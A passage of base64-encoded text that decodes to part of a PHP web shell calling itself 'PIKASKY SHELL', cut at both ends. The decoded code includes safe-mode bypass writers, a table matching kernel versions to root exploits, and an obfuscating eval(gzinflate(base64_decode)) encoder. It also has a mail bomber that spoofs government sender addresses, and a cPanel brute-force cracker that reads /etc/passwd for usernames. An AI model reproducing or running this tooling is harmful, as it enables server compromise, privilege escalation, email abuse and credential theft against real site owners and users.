ZndyaXRlKCRzX2hhbmRsZSwgJHNfZmlsZSk7DQogICAgICAgICAgICBhbGVydCgiT3BlcmF0aW9uIFN1Y2NlZWQhISEiKTsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlDQogICAgICAgIHsNCiAgICAgICAgICAgIGFsZXJ0KCJBY2Nlc3MgRGVuaWVkISEhIik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRzX2hhbmRsZSk7DQogICAgfQ0KfQ0KZnVuY3Rpb24gc2FmZV9tb2RlX2Z1Y2tfdWkoKQ0Kew0KICAgIGdsb2JhbCAkcGF0aDsNCiAgICAkcGF0aD1nZXRjd2QoKTsNCiAgICBlY2hvICI8ZGl2IGlkPXJlc3VsdD48YnIgLz48Y2VudGVyPjxoMj5TZWxlY3QgWW91ciBPcHRpb25zPC9oMj48aHIgLz4NCiAgICA8dGFibGUgY2xhc3M9dGJsIHNpemU9MTA+PHRyPjx0ZD48YSBocmVmPT9wYXRoPXskcGF0aH0mYW1wO3NhZmVfbW9kZT1zX3BocF9pbmk+UEhQLklOSTwvYT48L3RkPjx0ZD48YSBocmVmPT9wYXRoPXskcGF0aH0mYW1wO3NhZmVfbW9kZT1zX2h0YWNjZXNzPi5IVEFDQ0VTUzwvYT48L3RkPjx0ZD48YSBocmVmPT9wYXRoPXskcGF0aH0mYW1wO3NhZmVfbW9kZT1zX2h0YWNjZXNzX3BsPi5IVEFDQ0VTUyhwZXJsKTwvdGQ+PHRkPjxhIGhyZWY9P3BhdGg9eyRwYXRofSZhbXA7c2FmZV9tb2RlPXNfaW5pX3BocD5JTkkuUEhQPC90ZD48L3RyPjwvdGFibGU+PGJyIC8+PGJyIC8+PC9kaXY+IjsNCn0NCg0KDQpmdW5jdGlvbiBBY2Nlc3NEZW5pZWQoKQ0Kew0KICAgIGdsb2JhbCAkcGF0aCwgJGZvcmJpZF9kaXI7DQogICAgJHBhdGg9JF9HRVRbJ3BhdGgnXTsNCiAgICBjaGRpcigkcGF0aCk7DQogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdmb3BlbicpICYmIGZ1bmN0aW9uX2V4aXN0cygnZndyaXRlJykpDQogICAgew0KICAgICAgICAkZm9yYmlkPWZvcGVuKCIuaHRhY2Nlc3MiLCAid2IiKTsNCiAgICAgICAgaWYoJGZvcmJpZCkNCiAgICAgICAgew0KICAgICAgICAgICAgZndyaXRlKCRmb3JiaWQsICRmb3JiaWRfZGlyKTsNCiAgICAgICAgICAgIGFsZXJ0KCJPcHJlYXRpb24gU3VjY2VlZGVkIik7DQogICAgICAgIH0NCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICBhbGVydCgiQWNjZXNzIERlbmllZCIpOw0KICAgICAgICB9DQogICAgICAgIGZjbG9zZSgkZm9yYmlkKTsNCiAgICB9DQp9DQoNCmZ1bmN0aW9uIHIwMHRfZXhwbG9pdCgpDQp7DQogICAgJGtlcm5lbCA9IHBocF91bmFtZSgpOw0KICAgICRyMDB0X2RiID0gYXJyYXkoJzIuNi4xOSc9PidqZXNzaWNhJywnMi42LjIwJz0+J2plc3NpY2EnLCcyLjYuMjEnPT4namVzc2ljYScsJzIuNi4yMic9PidqZXNzaWNhJywnMi42LjIzJz0+J2plc3NpY2EsIHZtc3BsaWNlJywnMi42LjI0Jz0+J2plc3NpY2EsIHZtc3BpY2UnLCcyLjYuMzEnPT4nZW5saWdodG1lbnQnLCcyLjYuMTgnPT4nYnJrLCBwdHJhY2UsIGttb2QsIGJyazInLCcyLjYuMTcnPT4ncHJjdGwzLCByYXB0b3JfcHJjdGwsIHB5MicsJzIuNi4xNic9PidyYXB0b3JfcHJjdGwsIGV4cC5zaCwgcmFwdG9yLCByYXB0b3IyLCBoMDBseXNoaXQnLCcyLjYuMTUnPT4ncHkyLCBleHAuc2gsIHJhcHRvciwgcmFwdG9yMiwgaDAwbHlzaGl0JywnMi42LjE0Jz0+J3JhcHRvciwgcmFwdG9yMiwgaDAwbHlzaGl0JywnMi42LjEzJz0+J2tkdW1wLCBsb2NhbDI2LCBweTIsIHJhcHRvcl9wcmN0bCwgZXhwLnNoLCBwcmN0bDMsIGgwMGx5c2hpdCcsJzIuNi4xMic9PidoMDBseXNoaXQnLCcyLjYuMTEnPT4na3JhZDMsIGtyYWQsIGgwMGx5c2hpdCcsJzIuNi4xMCc9PidoMDBseXNoaXQsIHN0YWNrZ3JvdzIsIHVzZWxpYjI0LCBleHAuc2gsIGtyYWQsIGtyYWQyJywnMi42LjknPT4nZXhwLnNoLCBrcmFkMywgcHkyLCBwcmN0bDMsIGgwMGx5c2hpdCcsJzIuNi44Jz0+J2gwMGx5c2hpdCwga3JhZCwga3JhZDInLCcyLjYuNyc9PidoMDBseXNoaXQsIGtyYWQsIGtyYWQyJywnMi42LjYnPT4naDAwbHlzaGl0LCBrcmFkLCBrcmFkMicsJzIuNi4yJz0+J2gwMGx5c2hpdCwga3JhZCwgbXJlbWFwX3B0ZScsJzIuNi4nPT4ncHJjdGwsIGttZHgsIG5ld3NtcCwgcHduZWQsIHB0cmFjZV9rbW9kLCBvbmdfYmFrJywnMi40LjI5Jz0+J2VsZmxibCwgZXhwYW5kX3N0YWNrLCBzdGFja2dyb3cyLCB1c2VsaWIyNCwgc21wcmFjZXInLCcyLjQuMjcnPT4nZWxmZHVtcCwgdXNlbGliMjQnLCcyLjQuMjUnPT4ndXNlbGliMjQnLCcyLjQuMjQnPT4nbXJlbWFwX3B0ZSwgbG9rbywgdXNlbGliMjQnLCcyLjQuMjMnPT4nbXJlbWFwX3B0ZSwgbG9rbywgdXNlbGliMjQnLCcyLjQuMjInPT4nbG9naW54LCBicmssIGttMiwgbG9rbywgcHRyYWNlLCB1c2VsaWIyNCwgYnJrMiwgcHRyYWNlLWttb2QnLCcyLjQuMjEnPT4ndzAwdCwgYnJrLCB1c2VsaWIyNCwgbG9naW54LCBicmsyLCBwdHJhY2Uta21vZCcsJzIuNC4yMCc9PidtcmVtYXBfcHRlLCB3MDB0LCBicmssIGF2ZSwgdXNlbGliMjQsIGxvZ2lueCwgcHRyYWNlLWttb2QsIHB0cmFjZSwga21vZCcsJzIuNC4xOSc9PiduZXdsb2NhbCwgdzAwdCwgYXZlLCB1c2VsaWIyNCwgbG9naW54LCBrbW9kJywnMi40LjE4Jz0+J2ttMiwgdzAwdCwgdXNlbGliMjQsIGxvZ2lueCwga21vZCcsJzIuNC4xNyc9PiduZXdsb2NhbCwgdzAwdCwgdXNlbGliMjQsIGxvZ2lueCwga21vZCcsJzIuNC4xNic9Pid3MDB0LCB1c2VsaWIyNCwgbG9naW54JywnMi40LjEwJz0+J3cwMHQsIGJyaywgdXNlbGliMjQsIGxvZ2lueCcsJzIuNC45Jz0+J3B0cmFjZTI0LCB1c2VsaWIyNCcsJzIuNC4nPT4na21keCwgcmVtYXAsIHB3bmVkLCBwdHJhY2Vfa21vZCwgb25nX2JhaycsJzIuMi4yNSc9PidtcmVtYXBfcHRlJywnMi4yLjI0Jz0+J3B0cmFjZScsJzIuMi4nPT4ncmlwLHB0cmFjZScpOw0KICAgIGZvcmVhY2goJHIwMHRfZGIgYXMgJGtlcm49PiRleHApDQogICAgew0KICAgICAgICBpZihzdHJzdHIoJGtlcm5lbCwgJGtlcm4pKQ0KICAgICAgICB7DQogICAgICAgICAgICByZXR1cm4gJGV4cDsNCiAgICAgICAgfQ0KCWVsc2UNCiAgICAgICAgew0KICAgICAgICAgICAgJGV4cD0nPGZvbnQgY29sb3I9InJlZCI+Tm90IGZvdW5kLjwvZm9udD4nOw0KICAgICAgICAgICAgcmV0dXJuICRleHA7DQogICAgICAgIH0NCiAgICB9DQp9DQoNCmZ1bmN0aW9uIHBocF9lbmRlX3VpKCkNCnsNCiAgICBlY2hvICI8ZGl2IGlkPXJlc3VsdD48Y2VudGVyPjxoMj5QSFAgRU5DT0RFL0RFQ09ERTwvaDI+PC9jZW50ZXI+PGhyIC8+PGZvcm0gbWV0aG9kPSdwb3N0Jz48dGFibGUgY2xhc3M9dGJsPg0KICAgIDx0cj48dGQ+DQogICAgTWV0aG9kIDogPHNlbGVjdCBuYW1lPSd0eXBlZCcgc3R5bGU9J2NvbG9yOmdyZWVuOyBiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyBib3JkZXI6MXB4IHNvbGlkICM2NjY7Jz48b3B0aW9uPkVuY29kZTwvb3B0aW9uPjxvcHRpb24+RGVjb2RlPC9kZWNvZGU+PC9zZWxlY3Q+IFRZUEUgOiA8c2VsZWN0IG5hbWU9J3R5cGVuYycgc3R5bGU9J2NvbG9yOmdyZWVuOyBiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyBib3JkZXI6MXB4IHNvbGlkICM2NjY7Jz48b3B0aW9uPkdaSU5GTEFURTwvb3B0aW9uPjxvcHRpb24+R1pVTkNPTVBSRVNTPC9vcHRpb24+PG9wdGlvbj5TVFJfUk9UMTM8L29wdGlvbj48L3RyPg0KICAgIDwvdGQ+PHRyPjx0ZD48dGV4dGFyZWEgc3BlbGxjaGVjaz0nZmFsc2UnIGNsYXNzPXRleHRhcmVhX2VkaXQgY29scz0nODAnIHJvd3M9JzI1JyBuYW1lPSdwaHBfY29udGVudCc+SU5QVVQgWU9VUiBDT05URU5UIFRPIEVOQ09ERS9ERUNPREUNCg0KRm9yIEVuY29kZSBJbnB1dCB5b3VyIGZ1bGwgc291cmNlIGNvZGUuDQoNCkZvciBEZWNvZGUgSW5wdXQgdGhlIGVuY29kZWQgcGFydCBvbmx5LjwvdGV4dGFyZWE+PC90cj48L3RkPjwvdGFibGU+PGhyIC8+PGlucHV0IGNsYXNzPSdpbnB1dF9iaWcnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAgID4+ICAgJyAvPjxiciAvPjxociAvPjxiciAvPjxiciAvPjwvZm9ybT48L2Rpdj4iOw0KfQ0KZnVuY3Rpb24gcGhwX2VuZGVfYmcoKQ0Kew0KICAgICRtZXRoX2Q9JF9QT1NUWyd0eXBlZCddOw0KICAgICR0eXBfZD0kX1BPU1RbJ3R5cGVuYyddOw0KICAgICRjX250ZW50PSRfUE9TVFsncGhwX2NvbnRlbnQnXTsNCiAgICAkY19udGVudD0kY19udGVudDsNCiAgICBzd2l0Y2goJG1ldGhfZCkNCiAgICB7DQogICAgICAgIGNhc2UgIkVuY29kZSI6DQogICAgICAgICAgICBzd2l0Y2goJHR5cF9kKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGNhc2UgIkdaSU5GTEFURSI6DQogICAgICAgICAgICAgICAgICAgICRyZXNfdD1iYXNlNjRfZW5jb2RlKGd6ZGVmbGF0ZSh0cmltKHN0cmlwc2xhc2hlcygkY19udGVudC4nICcpLCc8P3BocCwgPz4nKSw5KSk7DQogICAgICAgICAgICAgICAgICAgICRyZXNfdD0iPD9waHAgLyogRW5jb2RlZCBpbiBQSUtBU0tZICBTSEVMTCBQUk9KRUNUICovIGV2YWwoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoXCIkcmVzX3RcIikpKTsgPz4iOw0KICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlICJHWlVOQ09NUFJFU1MiOg0KICAgICAgICAgICAgICAgICAgICAkcmVzX3Q9YmFzZTY0X2VuY29kZShnemNvbXByZXNzKHRyaW0oc3RyaXBzbGFzaGVzKCRjX250ZW50LicgJyksJzw/cGhwLCA/PicpLDkpKTsNCiAgICAgICAgICAgICAgICAgICAgJHJlc190PSI8P3BocCAvKiBFbmNvZGVkIGluIFBJS0FTS1kgIFNIRUxMIFBST0pFQ1QgKi8gZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZShcIiRyZXNfdFwiKSkpOyA/PiI7DQogICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgIlNUUl9ST1QxMyI6DQogICAgICAgICAgICAgICAgICAgICRyZXNfdD10cmltKHN0cmlwc2xhc2hlcygkY19udGVudC4nICcpLCc8P3BocCwgPz4nKTsNCiAgICAgICAgICAgICAgICAgICAgJHJlc190PWJhc2U2NF9lbmNvZGUoc3RyX3JvdDEzKCRyZXNfdCkpOw0KICAgICAgICAgICAgICAgICAgICAkcmVzX3Q9Ijw/cGhwIC8qIEVuY29kZWQgaW4gUElLQVNLWSAgU0hFTEwgUFJPSkVDVCAqLyBldmFsKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKFwiJHJlc190XCIpKSk7ID8+IjsNCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7ICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICB9DQogICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlICJEZWNvZGUiOg0KICAgICAgICAgICAgc3dpdGNoKCR0eXBfZCkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBjYXNlICJHWklORkxBVEUiOg0KICAgICAgICAgICAgICAgICAgICAkcmVzX3Q9Z3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJGNfbnRlbnQpKTsNCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAiR1pVTkNPTVBSRVNTIjoNCiAgICAgICAgICAgICAgICAgICAgJHJlc190PWd6dW5jb21wcmVzcyhiYXNlNjRfZGVjb2RlKCRjX250ZW50KSk7DQogICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgIlNUUl9ST1QxMyI6DQogICAgICAgICAgICAgICAgICAgICRyZXNfdD1zdHJfcm90MTMoYmFzZTY0X2RlY29kZSgkY19udGVudCkpOw0KICAgICAgICAgICAgICAgICAgICBicmVhazsgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgIH0NCiAgICAgICAgYnJlYWs7DQogICAgfQ0KICAgIGVjaG8gIjxkaXYgaWQ9cmVzdWx0PjxjZW50ZXI+PGgyPlBJS0FTS1kgIFNIRUxMPC9oMj48aHIgLz48dGV4dGFyZWEgc3BlbGxjaGVjaz0nZmFsc2UnIGNsYXNzPXRleHRhcmVhX2VkaXQgY29scz0nODAnIHJvd3M9JzI1Jz4iLmh0bWxzcGVjaWFsY2hhcnMoJHJlc190KS4iPC90ZXh0YXJlYT48L2NlbnRlcj48L2Rpdj4iOw0KfQ0KDQpmdW5jdGlvbiBtYXNzbWFpbGVyX3VpKCkNCnsNCiAgICBlY2hvICI8ZGl2IGlkPXJlc3VsdD48Y2VudGVyPjxoMj5NQVNTIE1BSUxFUiAmIE1BSUwgQk9NQkVSPC9oMj48aHIgLz48dGFibGUgY2xhc3M9dGJsIHdpZHRoPTQwIHN0eWxlPSdjb2wtd2lkdGg6NDAnPjx0ZD48dGFibGUgY2xhc3M9dGJsPjx0ciBzdHlsZT0nZmxvYXQ6bGVmdDsnPjx0ZD48Zm9udCBjb2xvcj1ncmVlbiBzaXplPTQ+TWFzcyBNYWlsPC9mb250PjwvdGQ+PC90cj48Zm9ybSBtZXRob2Q9J1BPU1QnPjx0ciBzdHlsZT0nZmxvYXQ6bGVmdDsnPjx0ZD4gRlJPTSA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSdmcm9tJyBzaXplPTQwIHZhbHVlPSdhaml0aGtwNTYwQGZiaS5nb3YnPjwvdGQ+PC90cj48dHIgIHN0eWxlPSdmbG9hdDpsZWZ0Oyc+PHRkPlRPIDo8L3RkPjx0ZD48aW5wdXQgc2l6ZT00MCBuYW1lPSd0b19tYWlsJyB2YWx1ZT0nYWppdGhrcDU2MEBnbWFpbC5jb20sYWppdGhrcDU2MEB5YWhvby5jb20nPjwvdGQ+PC90cj48dHIgIHN0eWxlPSdmbG9hdDpsZWZ0Oyc+PHRkPlN1YmplY3QgOjwvdGQ+PHRkPjxpbnB1dCBzaXplPTQwIG5hbWU9J3N1YmplY3RfbWFpbCcgdmFsdWU9J0hpLCBHdXlaJz48L3RkPjwvdHI+PHRyIHN0eWxlPSdmbG9hdDpsZWZ0Oyc+PHRkPjx0ZXh0YXJlYSBzcGVsbGNoZWNrPSdmYWxzZScgY2xhc3M9dGV4dGFyZWFfZWRpdCBjb2xzPSczNCcgcm93cz0nMTAnIG5hbWU9J21haWxfY29udGVudCc+SSdtIGRvaW5nIG1hc3NtYWlsIDpwPC90ZXh0YXJlYT48L3RkPjx0ZD48aW5wdXQgY2xhc3M9J2lucHV0X2JpZycgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICAgPj4gICAnPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT48L3RkPg0KICAgIDxmb3JtIG1ldGhvZD0ncG9zdCc+PHRkPiA8dGFibGUgY2xhc3M9J3RibCc+PHRkPjxmb250IGNvbG9yPWdyZWVuIHNpemU9ND5NYWlsIEJvbWJlcjwvZm9udD48L3RkPjwvdHI+PHRyIHN0eWxlPSdmbG9hdDpsZWZ0Oyc+PHRkPlRPIDogPC90ZD48dGQ+PGlucHV0IHNpemU9NDAgbmFtZT0nYm9tYl90bycgdmFsdWU9J2FqaXRoa3A1NjBAZ21haWwuY29tLGFqaXRoa3A1NjBfbWFpbF9ib21iQGZiaS5nb3YnPjwvdGQ+PC90cj48dHIgc3R5bGU9J2Zsb2F0OmxlZnQ7Jz48dGQ+U3ViamVjdCA6IDwvdGQ+PHRkPjxpbnB1dCBzaXplPTQwIG5hbWU9J2JvbWJfc3ViamVjdCcgdmFsdWU9J0JvbWJpbmcgd2l0aCBtZXNzYWdlcyc+PC90ZD48L3RyPjx0ciBzdHlsZT0nZmxvYXQ6bGVmdDsnPjx0ZD5Oby4gb2YgdGltZXM8L3RkPjx0ZD48aW5wdXQgc2l6ZT00MCBuYW1lPSdib21iX25vJyB2YWx1ZT0nMTAwJz48L3RkPjwvdHI+PHRyIHN0eWxlPSdmbG9hdDpsZWZ0Oyc+PHRkPiA8dGV4dGFyZWEgc3BlbGxjaGVjaz0nZmFsc2UnIGNsYXNzPXRleHRhcmVhX2VkaXQgY29scz0nMzQnIHJvd3M9JzEwJyBuYW1lPSdibWFpbF9jb250ZW50Jz5JJ20gZG9pbmcgIEUtTWFpbCBCb21iaW5nIDpwPC90ZXh0YXJlYT4gPC90ZD48dGQ+PGlucHV0IGNsYXNzPSdpbnB1dF9iaWcnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAgID4+ICAgJz48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+ICAgPC90ZD48L3RyPjwvdGFibGU+IjsNCn0NCg0KZnVuY3Rpb24gbWFzc21haWxlcl9iZygpDQp7DQogICAgJGZyb209JF9QT1NUWydmcm9tJ107DQogICAgJHRvPSRfUE9TVFsndG9fbWFpbCddOw0KICAgICRzdWJqZWN0PSRfUE9TVFsnc3ViamVjdF9tYWlsJ107DQogICAgJG1lc3NhZ2U9JF9QT1NUWydtYWlsX2NvbnRlbnQnXTsNCiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ21haWwnKSkNCiAgICB7DQogICAgICAgIGlmKG1haWwoJHRvLCRzdWJqZWN0LCRtZXNzYWdlLCJGcm9tOiRmcm9tIikpDQogICAgICAgIHsNCiAgICAgICAgICAgIGVjaG8gIjxkaXYgaWQ9cmVzdWx0PjxjZW50ZXI+PGgyPk1BSUwgQk9NQklORzwvaDI+PGhyIC8+PGJyIC8+PGJyIC8+PGZvbnQgY29sb3I9Z3JlZW4gc2l6ZT00PlN1Y2Nlc3NmdWxseSBNYWlscyBTZW5kLi4uIDpwPC9mb250PjxiciAvPjxiciAvPjxociAvPjxiciAvPjxiciAvPiI7DQogICAgICAgIH0NCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICBlY2hvICI8ZGl2IGlkPXJlc3VsdD48Y2VudGVyPjxoMj5NQUlMIEJPTUJJTkc8L2gyPjxociAvPjxiciAvPjxiciAvPjxmb250IGNvbG9yPXJlZCBzaXplPTQ+U29ycnksIGZhaWxlZCB0byBNYWlscyBTZW5kaW5nLi4uIDooPC9mb250PjxiciAvPjxiciAvPjxociAvPjxiciAvPjxiciAvPiI7DQogICAgICAgIH0NCiAgICB9DQogICAgZWxzZQ0KICAgIHsNCiAgICAgICAgZWNobyAiPGRpdiBpZD1yZXN1bHQ+PGNlbnRlcj48aDI+TUFJTCBCT01CSU5HPC9oMj48aHIgLz48YnIgLz48YnIgLz48Zm9udCBjb2xvcj1yZWQgc2l6ZT00PlNvcnJ5LCBmYWlsZWQgdG8gTWFpbHMgU2VuZGluZy4uLiA6KDwvZm9udD48YnIgLz48YnIgLz48aHIgLz48YnIgLz48YnIgLz4iOw0KICAgIH0NCn0NCg0KZnVuY3Rpb24gbWFpbGJvbWJfYmcoKQ0Kew0KICAgICRyYW5kPXJhbmQoMCwgOTk5OTk5OSk7DQogICAgJHRvPSRfUE9TVFsnYm9tYl90byddOw0KICAgICRmcm9tPSJwcmVzaWRlbnRfJHJhbmRAd2hpdGV3aGl0ZWhvdXNlLmdvdiI7DQogICAgJHN1YmplY3Q9JF9QT1NUWydib21iX3N1YmplY3QnXS4iIElEICIuJHJhbmQ7DQogICAgJHRpbWVzPSRfUE9TVFsnYm9tYl9ubyddOw0KICAgICRjb250ZW50PSRfUE9TVFsnYm1haWxfY29udGVudCddOw0KICAgIGlmKCR0aW1lcz09JycpDQogICAgew0KICAgICAgICAkdGltZXM9MTAwMDsNCiAgICB9DQogICAgd2hpbGUoJHRpbWVzLS0pDQogICAgew0KICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJ21haWwnKSkNCiAgICAgICAgew0KICAgICAgICAgICAgaWYobWFpbCgkdG8sJHN1YmplY3QsJG1lc3NhZ2UsIkZyb206JGZyb20iKSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBlY2hvICI8ZGl2IGlkPXJlc3VsdD48Y2VudGVyPjxoMj5NQUlMIEJPTUJJTkc8L2gyPjxociAvPjxiciAvPjxiciAvPjxmb250IGNvbG9yPWdyZWVuIHNpemU9ND5TdWNjZXNzZnVsbHkgTWFpbHMgQm9tYmVkLi4uIDpwPC9mb250PjxiciAvPjxiciAvPjxociAvPjxiciAvPjxiciAvPiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgZWNobyAiPGRpdiBpZD1yZXN1bHQ+PGNlbnRlcj48aDI+TUFJTCBCT01CSU5HPC9oMj48aHIgLz48YnIgLz48YnIgLz48Zm9udCBjb2xvcj1yZWQgc2l6ZT00PlNvcnJ5LCBmYWlsZWQgdG8gTWFpbHMgQm9tYmluZy4uLiA6KDwvZm9udD48YnIgLz48YnIgLz48aHIgLz48YnIgLz48YnIgLz4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVsc2UNCiAgICAgICAgew0KICAgICAgICAgICAgZWNobyAiPGRpdiBpZD1yZXN1bHQ+PGNlbnRlcj48aDI+TUFJTCBCT01CSU5HPC9oMj48aHIgLz48YnIgLz48YnIgLz48Zm9udCBjb2xvcj1yZWQgc2l6ZT00PlNvcnJ5LCBmYWlsZWQgdG8gTWFpbHMgQm9tYmluZy4uLiA6KDwvZm9udD48YnIgLz48YnIgLz48aHIgLz48YnIgLz48YnIgLz4iOw0KICAgICAgICB9DQogICAgfQ0KfQ0KDQoNCi8qIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIENQQU5FTCBDUkFDSyBpcyBDb3BpZWQgZnJvbSBjcGFuZWwgY3JhY2tlciAtLS0tLS0tLS0tKi8NCi8qLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIENyZWRpdCBHb2VzIHRvIFRoZW0gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi8NCmZ1bmN0aW9uIGNwYW5lbF9jaGVjaygkaG9zdCwkdXNlciwkcGFzcywkdGltZW91dCkNCnsNCiAgICBzZXRfdGltZV9saW1pdCgwKTsNCiAgICBnbG9iYWwgJGNwYW5lbF9wb3J0Ow0KICAgICRjaCA9IGN1cmxfaW5pdCgpOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICJodHRwOi8vJGhvc3Q6IiAuICRjcGFuZWxfcG9ydCk7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0JBU0lDKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUlBXRCwgIiR1c2VyOiRwYXNzIik7DQogICAgY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHRpbWVvdXQpOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GQUlMT05FUlJPUiwgMSk7DQogICAgJGRhdGEgPSBjdXJsX2V4ZWMoJGNoKTsNCiAgICBpZiAoIGN1cmxfZXJybm8oJGNoKSA9PSAyOCApDQogICAgew0KICAgICAgICBwcmludCAiPGI+PGZvbnQgY29sb3I9b3JhbmdlPkVycm9yIDo8L2ZvbnQ+IDxmb250IGNvbG9yPXJlZD5Db25uZWN0aW9uIFRpbWVvdXQuIFBsZWFzZSBDaGVjayBUaGUgVGFyZ2V0IEhvc3RuYW1lIC48L2ZvbnQ+PC9iPiI7DQogICAgICAgIGV4aXQ7DQogICAgfQ0KICAgIGVsc2UgaWYgKGN1cmxfZXJybm8oJGNoKSA9PSAwICkNCiAgICB7DQogICAgICAgIHByaW50ICI8Yj48Zm9udCBmYWNlPVwiVGFob21hXCIgc3R5bGU9XCJmb250LXNpemU6IDlwdFwiIGNvbG9yPVwib3JhbmdlXCI+W35dPC9mb250PjwvYj48Zm9udCBmYWNlPVwiVGFob21hXCIgICBzdHlsZT1cImZvbnQtc2l6ZTogOXB0XCI+PGI+PGZvbnQgY29sb3I9XCJncmVlblwiPg0KICAgICAgICBDcmFja2luZyBTdWNjZXNzIFdpdGggVXNlcm5hbWUgJnF1b3Q7PC9mb250Pjxmb250IGNvbG9yPVwiI0ZGMDAwMFwiPiR1c2VyPC9mb250Pjxmb250IGNvbG9yPVwiIzAwODAwMFwiPlwiIGFuZCBQYXNzd29yZCBcIjwvZm9udD48Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj4kcGFzczwvZm9udD48Zm9udCBjb2xvcj1cIiMwMDgwMDBcIj5cIjwvZm9udD48L2I+PGJyPjxicj4iOw0KICAgIH0NCiAgICBjdXJsX2Nsb3NlKCRjaCk7DQp9DQoNCmZ1bmN0aW9uIGNwYW5lbF9jcmFjaygpDQp7DQogICAgc2V0X3RpbWVfbGltaXQoMCk7DQogICAgZ2xvYmFsICRvczsNCiAgICBlY2hvICI8ZGl2IGlkPXJlc3VsdD4iOw0KICAgICRjcGFuZWxfcG9ydD0iMjA4MiI7DQoJCSRjb25uZWN0X3RpbWVvdXQ9NTsNCgkJaWYoIWlzc2V0KCRfUE9TVFsndXNlcm5hbWUnXSkgJiYgIWlzc2V0KCRfUE9TVFsncGFzc3dvcmQnXSkgJiYgIWlzc2V0KCRfUE9TVFsndGFyZ2V0J10pICYmICFpc3NldCgkX1BPU1RbJ2NyYWNrdHlwZSddKSkNCgkJew0KCQk/Pg0KCQk8Y2VudGVyPg0KCQk8Zm9ybSBtZXRob2Q9cG9zdD4NCgkJPHRhYmxlIGNsYXNzPXRibD4NCgkJCTx0cj4NCgkJCQk8dGQgYWxpZ249Y2VudGVyIGNvbHNwYW49Mj5UYXJnZXQgOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9InNlcnZlciIgdmFsdWU9ImxvY2FsaG9zdCIgY2xhc3M9c2JveD48L3RkPg0KCQkJPC90cj4NCgkJCTx0cj4NCgkJCQk8dGQgYWxpZ249Y2VudGVyPlVzZXIgbmFtZXM8L3RkPjx0ZCBhbGlnbj1jZW50ZXI+UGFzc3dvcmQ8L3RkPg0KCQkJPC90cj4NCgkJCTx0cj4NCgkJCQk8dGQgYWxpZ249Y2VudGVyPjx0ZXh0YXJlYSBzcGVsbGNoZWNrPSdmYWxzZScgY2xhc3M9dGV4dGFyZWFfZWRpdCBuYW1lPXVzZXJuYW1lIHJvd3M9MjUgY29scz0zNSBjbGFzcz1ib3g+PD9waHAgDQoJCQkJaWYoJG9zICE9ICJ3aW4iKQ0KCQkJCXsNCgkJCQkJaWYoQGZpbGUoJy9ldGMvcGFzc3dkJykpDQoJCQkJCXsNCgkJCQkJCSR1c2VycyA9IGZpbGUoJy9ldGMvcGFzc3dkJyk7DQoJCQkJCQlmb3JlYWNoKCR1c2VycyBhcyAkdXNlcikgDQoJCQkJCQl7DQoJCQkJCQkJJHVzZXIgPSBleHBsb2RlKCc6JywgJHVzZXIpOw0KCQkJCQkJCWVjaG8gJHVzZXJbMF0gLiAiXG4iOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJCWVsc2UNCgkJCQkJew0KCQkJCQkJJHRlbXAgPSAiIjsNCgkJCQkJCSR2YWwxID0gMDsNCgkJCQkJCSR2YWwyID0gMTAwMDsNCgkJCQkJCWZvcig7JHZhbDEgPD0gJHZhbDI7JHZhbDErKykgDQoJCQkJCQl7DQoJCQkJCQkJJHVpZCA9IEBwb3NpeF9nZXRwd3VpZCgkdmFsMSk7DQoJCQkJCQkJaWYgKCR1aWQpDQoJCQkJCQkJCSAkdGVtcCAuPSBqb2luKCc6JywkdWlkKS4iXG4iOw0KCQkJCQkJIH0NCgkJCQkJCQ0KCQkJCQkJICR0ZW1wID0gdHJpbSgkdGVtcCk7D